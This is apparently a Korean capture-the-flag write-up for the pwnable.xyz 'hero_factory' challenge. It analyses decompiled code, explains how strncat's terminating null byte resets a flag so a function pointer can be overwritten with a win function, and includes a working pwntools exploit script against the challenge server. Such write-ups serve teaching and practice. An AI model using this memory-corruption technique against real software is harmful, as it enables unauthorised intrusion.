반응형
문제 풀이 환경 : Ubuntu 16.04
📝 Analysis
<< Mitigation >>
PIE만 안 걸려있다.
<< Code & Thinking>>
· createHero
unsigned __int64 createHero()
{
char *v0; // rax
int v1; // eax
int size; // [rsp+4h] [rbp-7Ch]
char buf[96]; // [rsp+10h] [rbp-70h] BYREF
int v5; // [rsp+70h] [rbp-10h]
unsigned __int64 v6; // [rsp+78h] [rbp-8h]
v6 = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
v5 = 0;
if ( is_hero_setted )
{
puts("Br0, you already have a hero...");
return __readfsqword(0x28u) ^ v6;
}
++is_hero_setted;
puts("How long do you want your superhero's name to be? ");
size = getInt();
if ( size < 0 || size > 100 )
{
puts("Bad size!");
return __readfsqword(0x28u) ^ v6;
}
printf("Great! Please enter your hero's name: ");
read(0, buf, size);
v0 = strchr(hero_name, 0);
strncat(v0, buf, 0x64uLL); // vuln
printSuperPowers();
v1 = getInt();
if ( v1 == 2 )
{
power_func = (__int64 (*)(void))crossfit;
strcpy((char *)&myHero, "crossfit");
goto LABEL_19;
}
if ( v1 <= 2 )
{
if ( v1 != 1 )
goto LABEL_17;
power_func = (__int64 (*)(void))hadouken;
strcpy((char *)&myHero, "hadouken");
LABEL_19:
puts("Superhero successfully created!");
return __readfsqword(0x28u) ^ v6;
}
if ( v1 == 3 )
{
power_func = (__int64 (*)(void))wrestle;
strcpy((char *)&myHero, "wrestling");
goto LABEL_19;
}
if ( v1 == 4 )
{
power_func = (__int64 (*)(void))floss;
strcpy((char *)&myHero, "flossing");
goto LABEL_19;
}
LABEL_17:
puts("not a valid power!");
if ( is_hero_setted )
zeroHero();
return __readfsqword(0x28u) ^ v6;
}
이 함수에서 취약점이 터진다.
strncat 함수 때문에 처음 100바이트를 꽉 채워서 입력하게 되면 바로 뒤에 있는 is_hero_setted가 strncat이 삽입하는 null byte의 영향으로 1에서 0으로 바뀌게 된다.
덕분에 다시 한번 createHero 함수를 호출할 수 있게 된다.
그렇게 앞에서 입력한 값이 남은 채로 뒤에 이어 붙이니 power_func를 내가 원하는 함수로 덮고 호출할 수 있게 된다.
🧩 Exploit Scenario
1) createHero 부르고 100개 아무 값 주기
is_hero_setted가 0으로 바뀌고 createHero 다시 부를 수 있다.
2) 처음 시작할 때 다시 +1 해주니까 bss 상 offset에 맞춰서
[아무 값 * 0x7] [win 함수] 의 페이로드를 보내주면 된다.
3) userPower 함수를 호출해서 win 함수를 부른다.
🚩 Flag 🚩
from pwn import *
# context.log_level = 'debug'
# p = process('./hero_factory')
p = remote('svc.pwnable.xyz', 30032)
e = ELF('./hero_factory')
p.sendlineafter(b'> ', b'1')
p.sendafter(b'be? \n', b'100')
p.sendafter(b'name: ', b'A' * 100)
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'> ', b'1')
p.sendafter(b'be? \n', b'16')
p.sendafter(b'name: ', b'A' * 7 + p64(e.sym['win']))
p.sendlineafter(b'> ', b'0')
p.sendlineafter(b'> ', b'2')
p.interactive()
반응형